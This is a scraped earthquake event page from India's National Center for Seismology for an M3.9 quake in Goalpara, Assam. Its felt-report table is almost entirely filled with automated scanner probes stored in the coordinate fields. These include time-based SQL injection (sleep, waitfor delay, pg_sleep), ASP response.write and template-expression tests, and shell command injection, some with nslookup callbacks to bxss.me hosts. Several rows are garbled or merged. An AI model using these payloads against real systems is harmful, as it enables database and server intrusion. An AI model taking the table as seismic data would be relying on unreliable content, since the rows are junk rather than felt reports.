National Center for Seismology

Ministry of Earth Sciences

Government of India

   
Back to Earthquakes

M: 3.9 - Goalpara, Assam

Origin Time 2024-08-25 23:05:39 (IST)
Lat, Long 25.95, 90.79
Magnitude 3.9
Depth 5km
Event Status Reviewed

40
35
30
25
20
15
10
5
0
6065707580859095100
 

Responses vs. Time Plot

Hours
MMI Distance Latitude Longitude Date & Time
II 93.07 KM 26.115103 91.703239 2024-08-26 07:32:06 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:20:19 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:20:20 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:20:23 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:20:28 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:21:25 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:21:26 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:21:28 UTC
I 12705.30 KM 39.7817 -89.6501 2024-09-20 16:21:33 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:22:17 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:22:20 UTC
III 17017.19 KM 1KqzTtxNO -89.6501 2024-09-20 16:22:51 UTC
III 8182.31 KM 39.7817 1TpHSNpIO 2024-09-20 16:22:52 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:22:58 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:22:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:02 UTC
III 17128.37 KM response.write(9709517*9356573) -89.6501 2024-09-20 16:23:03 UTC
III 17128.37 KM '+response.write(9709517*9356573)+' -89.6501 2024-09-20 16:23:05 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:08 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:12 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:14 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:18 UTC
III 17239.54 KM -1 OR 2+110-110-1=0+0+0+1 -- -89.6501 2024-09-20 16:23:19 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:20 UTC
III 17239.54 KM -1 OR 2+62-62-1=0+0+0+1 -89.6501 2024-09-20 16:23:21 UTC
III 17239.54 KM -1' OR 2+175-175-1=0+0+0+1 -- -89.6501 2024-09-20 16:23:22 UTC
III 17128.37 KM "+response.write(9709517*9356573)+" -89.6501 2024-09-20 16:23:25 UTC
III 17239.54 KM -1' OR 2+335-335-1=0+0+0+1 or 'oOHvB1Xu'=' -89.6501 2024-09-20 16:23:25 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:26 UTC
III 17239.54 KM -1" OR 2+305-305-1=0+0+0+1 -- -89.6501 2024-09-20 16:23:30 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:31 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:34 UTC
III 8262.26 KM 39.7817 response.write(9093171*9752452) 2024-09-20 16:23:34 UTC
III 8262.26 KM 39.7817 '+response.write(9093171*9752452)+' 2024-09-20 16:23:36 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:39 UTC
III 12705.30 KM 39.7817*if(now()=sysdate(),sleep(15),0) -89.6501 2024-09-20 16:23:40 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:42 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:46 UTC
III 8262.26 KM 39.7817 "+response.write(9093171*9752452)+" 2024-09-20 16:23:47 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:51 UTC
III 12705.30 KM 39.78170'XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2024-09-20 16:23:57 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:57 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:23:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:24:01 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:24:03 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:24:04 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:24:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:24:54 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:24:58 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:25:03 UTC
III 12705.30 KM 39.78170"XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2024-09-20 16:25:09 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:25:25 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:25:26 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:25:38 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:25:49 UTC
III 17128.37 KM (select(0)from(select(sleep(15)))v)/*'+(selec -89.6501 2024-09-20 16:25:57 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:26:08 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:26:13 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:26:15 UTC
III 12705.30 KM 39.7817-1; waitfor delay '0:0:15' -- -89.6501 2024-09-20 16:26:22 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:26:50 UTC
III 12705.30 KM 39.7817-1); waitfor delay '0:0:15' -- -89.6501 2024-09-20 16:27:12 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:28:00 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:28:53 UTC
III 12705.30 KM 39.7817-1 waitfor delay '0:0:15' -- -89.6501 2024-09-20 16:28:54 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:28:55 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:28:58 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:01 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:02 UTC
III 12705.30 KM 39.7817ptSfk16q'; waitfor delay '0:0:15' -- -89.6501 2024-09-20 16:29:03 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:04 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:07 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:13 UTC
III 12705.30 KM 39.7817-1 OR 783=(SELECT 783 FROM PG_SLEEP(15 -89.6501 2024-09-20 16:29:14 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:18 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:19 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:20 UTC
III 12705.30 KM 39.7817-1) OR 518=(SELECT 518 FROM PG_SLEEP(1 -89.6501 2024-09-20 16:29:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:27 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:33 UTC
III 17128.37 KM echo kpqvgo$()\ sslkfh\nz^xyu||a #' &echo kpq -89.6501 2024-09-20 16:29:35 UTC
III 12705.30 KM 39.7817-1)) OR 164=(SELECT 164 FROM PG_SLEEP( -89.6501 2024-09-20 16:29:36 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:36 UTC
III 12705.30 KM 39.78175TstN3iN' OR 320=(SELECT 320 FROM PG_S -89.6501 2024-09-20 16:29:40 UTC
III 17128.37 KM &echo tnquew$()\ sofwlx\nz^xyu||a #' &echo tn -89.6501 2024-09-20 16:29:41 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:42 UTC
III 12705.30 KM 39.7817&echo rxsvlu$()\ gdcnpb\nz^xyu||a #' & -89.6501 2024-09-20 16:29:42 UTC
III 17128.37 KM UsqDxv2B -89.6501 2024-09-20 16:29:43 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:47 UTC
III 17128.37 KM rElBhtZh: 86eyrZFv -89.6501 2024-09-20 16:29:49 UTC
III 12705.30 KM 39.7817ZHLK9Hhj') OR 651=(SELECT 651 FROM PG_ -89.6501 2024-09-20 16:29:50 UTC
III 17128.37 KM |echo lujwhi$()\ dqjqhd\nz^xyu||a #' |echo lu -89.6501 2024-09-20 16:29:50 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:51 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:29:54 UTC
III 8262.26 KM 39.7817 MaHJJ9j3 2024-09-20 16:29:56 UTC
III 8262.26 KM 39.7817 kWIxoZLE: gJ4qS8JK 2024-09-20 16:29:59 UTC
III 12705.30 KM 39.7817MTG4Z0nz')) OR 921=(SELECT 921 FROM PG -89.6501 2024-09-20 16:29:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:00 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:06 UTC
III 12705.30 KM 39.7817*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CH -89.6501 2024-09-20 16:30:09 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:14 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:16 UTC
III 12705.30 KM 39.7817|echo lnhiqz$()\ hgctks\nz^xyu||a #' | -89.6501 2024-09-20 16:30:19 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:19 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:21 UTC
III 17128.37 KM (nslookup -q=cname hitbemeafvvdi03b0b.bxss.me -89.6501 2024-09-20 16:30:21 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:22 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:24 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:30 UTC
III 12705.30 KM 39.7817'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)|| -89.6501 2024-09-20 16:30:30 UTC
III 17128.37 KM $(nslookup -q=cname hittdwelivzhbf5acf.bxss.m -89.6501 2024-09-20 16:30:32 UTC
III 12705.30 KM 39.7817'" -89.6501 2024-09-20 16:30:32 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:35 UTC
III 17128.37 KM &nslookup -q=cname hitgmmtyklxqke666c.bxss.me -89.6501 2024-09-20 16:30:35 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:36 UTC
III 17128.37 KM ) -89.6501 2024-09-20 16:30:36 UTC
III 12705.30 KM 39.7817%2527%2522\'\" -89.6501 2024-09-20 16:30:37 UTC
III 17128.37 KM !(()&&!|*|*| -89.6501 2024-09-20 16:30:40 UTC
III 17128.37 KM ^(#$!@#$)(()))****** -89.6501 2024-09-20 16:30:41 UTC
III 17128.37 KM @@lkDoB -89.6501 2024-09-20 16:30:43 UTC
III 17128.37 KM &(nslookup -q=cname hitramwyluemudbdf3.bxss.m -89.6501 2024-09-20 16:30:43 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:46 UTC
III 17128.37 KM |(nslookup -q=cname hitnygijbtvab279f1.bxss.m -89.6501 2024-09-20 16:30:48 UTC
III 8262.26 KM 39.7817 ) 2024-09-20 16:30:50 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:30:55 UTC
III 17128.37 KM `(nslookup -q=cname hityzspnlhpltdb93a.bxss.m -89.6501 2024-09-20 16:30:57 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:31:21 UTC
III 17128.37 KM ;(nslookup -q=cname hithhahhqrosj8122e.bxss.m -89.6501 2024-09-20 16:31:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:31:25 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:31:26 UTC
III 8262.26 KM 39.7817 !(()&&!|*|*| 2024-09-20 16:31:28 UTC
III 8341.91 KM 39.7817 -1 OR 2+989-989-1=0+0+0+1 -- 2024-09-20 16:31:31 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:31:33 UTC
III 17128.37 KM |(nslookup${IFS}-q${IFS}cname${IFS}hitysvbpri -89.6501 2024-09-20 16:31:36 UTC
III 8262.26 KM 39.7817 ^(#$!@#$)(()))****** 2024-09-20 16:31:38 UTC
III 8341.91 KM 39.7817 -1 OR 2+235-235-1=0+0+0+1 2024-09-20 16:31:40 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:31:43 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:31:48 UTC
III 17128.37 KM &(nslookup${IFS}-q${IFS}cname${IFS}hitreyftsx -89.6501 2024-09-20 16:31:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:06 UTC
III 8341.91 KM 39.7817 -1' OR 2+206-206-1=0+0+0+1 -- 2024-09-20 16:32:06 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:20 UTC
III 8341.91 KM 39.7817 -1' OR 2+223-223-1=0+0+0+1 or 'AJhR0d4G'=' 2024-09-20 16:32:21 UTC
III 8262.26 KM 39.7817 echo szwfys$()\ oxesqp\nz^xyu||a #' &echo szw 2024-09-20 16:32:21 UTC
III 8262.26 KM 39.7817 &echo qlwhzc$()\ suawbf\nz^xyu||a #' &echo ql 2024-09-20 16:32:22 UTC
III Unknown Distance Unknown data -89.6501 2024-09-20 16:32:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:24 UTC
III 12705.30 KM 39.7817 -89.6501&echo ylldrk$()\ uagtun\nz^xyu||a #' 2024-09-20 16:32:24 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:25 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:25 UTC
III 8262.26 KM 39.7817 |echo gjdfcw$()\ txsfzv\nz^xyu||a #' |echo gj 2024-09-20 16:32:28 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:28 UTC
III 8341.91 KM 39.7817 -1" OR 2+250-250-1=0+0+0+1 -- 2024-09-20 16:32:28 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:28 UTC
III 5453.91 KM 12345'"\'\");|]*{ <>''???? -89.6501 2024-09-20 16:32:29 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:30 UTC
III 12705.30 KM 39.7817 -89.6501|echo wkevec$()\ dmgbru\nz^xyu||a #' 2024-09-20 16:32:30 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:31 UTC
III Unknown Distance 39.7817 Unknown data 2024-09-20 16:32:31 UTC
III 8262.26 KM 39.7817 (nslookup -q=cname hitxcohvocvxrea5fa.bxss.me 2024-09-20 16:32:32 UTC
III 2025.95 KM 39.7817 12345'"\'\");|]*{ <>''???? 2024-09-20 16:32:33 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:33 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:35 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:35 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:35 UTC
III 8262.26 KM 39.7817 $(nslookup -q=cname hitfnjcmqfgts29430.bxss.m 2024-09-20 16:32:36 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:37 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:37 UTC
III 12705.30 KM 39.7817 -89.6501*if(now()=sysdate(),sleep(15),0) 2024-09-20 16:32:38 UTC
III 8262.26 KM 39.7817 &nslookup -q=cname hitsbtkhjuhshf3ec7.bxss.me 2024-09-20 16:32:38 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:39 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:40 UTC
III 8262.26 KM 39.7817 &(nslookup -q=cname hityodkuyebqdc3eb1.bxss.m 2024-09-20 16:32:40 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:41 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:41 UTC
III 8262.26 KM 39.7817 |(nslookup -q=cname hitwkuikoonpp52ffe.bxss.m 2024-09-20 16:32:44 UTC
III 12705.30 KM 39.7817 -89.65010'XOR(-89.6501*if(now()=sysdate(),sle 2024-09-20 16:32:44 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:45 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:47 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:47 UTC
III 8262.26 KM 39.7817 `(nslookup -q=cname hitkicgxjmjzf41735.bxss.m 2024-09-20 16:32:47 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:48 UTC
III 12705.30 KM 39.7817 III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:50 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:51 UTC
III 8262.26 KM 39.7817 ;(nslookup -q=cname hitgsmqhvpfrqb62dc.bxss.m 2024-09-20 16:32:51 UTC
III 12705.30 KM 39.7817 -89.6501 III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:51 UTC
III 12705.30 KM 39.7817 -89.65010"XOR(-89.6501*if(now()=sysdate(),sle 2024-09-20 16:32:52 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:52 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:53 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:53 UTC
III 8262.26 KM 39.7817 |(nslookup${IFS}-q${IFS}cname${IFS}hitkhuvzfd 2024-09-20 16:32:54 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:54 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:55 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:55 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:55 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:56 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:57 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:58 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:59 UTC
III 8262.26 KM 39.7817 &(nslookup${IFS}-q${IFS}cname${IFS}hittghncmr 2024-09-20 16:32:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:32:59 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:00 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:00 UTC
III 8262.26 KM 39.7817 (select(0)from(select(sleep(15)))v)/*'+(selec 2024-09-20 16:33:00 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:00 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:01 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:01 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:01 UTC
III 17128.37 KM ${9999816+10000100} -89.6501 2024-09-20 16:33:02 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:02 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:02 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:02 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:03 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:03 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:03 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:04 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:04 UTC
III 8262.26 KM 39.7817 ${9999814+9999024} 2024-09-20 16:33:05 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:05 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:06 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:06 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:06 UTC
III 12705.30 KM 39.7817 -89.6501-1; waitfor delay '0:0:15' -- 2024-09-20 16:33:07 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:07 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:08 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:08 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:08 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:08 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:09 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:09 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:10 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:10 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:10 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:10 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:11 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:12 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:12 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:12 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:13 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:14 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:14 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:14 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:15 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:15 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:15 UTC
III 12705.30 KM 39.7817 -89.6501-1); waitfor delay '0:0:15' -- 2024-09-20 16:33:15 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:16 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:17 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:17 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:17 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:18 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:19 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:19 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:20 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:20 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:21 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:21 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:21 UTC
III 12705.30 KM 39.7817 -89.6501-1 waitfor delay '0:0:15' -- 2024-09-20 16:33:21 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:22 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:22 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:22 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:23 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:23 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:24 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:24 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:24 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:25 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:26 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:26 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:28 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:28 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:30 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:31 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:31 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:31 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:31 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:32 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:32 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:33 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:33 UTC
III 12705.30 KM 39.7817 -89.6501MQCHCDJD'; waitfor delay '0:0:15' -- 2024-09-20 16:33:33 UTC
II 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:34 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:34 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:36 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:36 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:37 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:37 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:38 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:38 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:38 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:41 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:41 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:42 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:43 UTC
III 12705.30 KM 39.7817 -89.6501-1 OR 965=(SELECT 965 FROM PG_SLEEP(1 2024-09-20 16:33:43 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:43 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:44 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:44 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:44 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:46 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:46 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:47 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:47 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:48 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:48 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:48 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:49 UTC
III 12705.30 KM 39.7817 -89.6501 2024-09-20 16:33:50 UTC
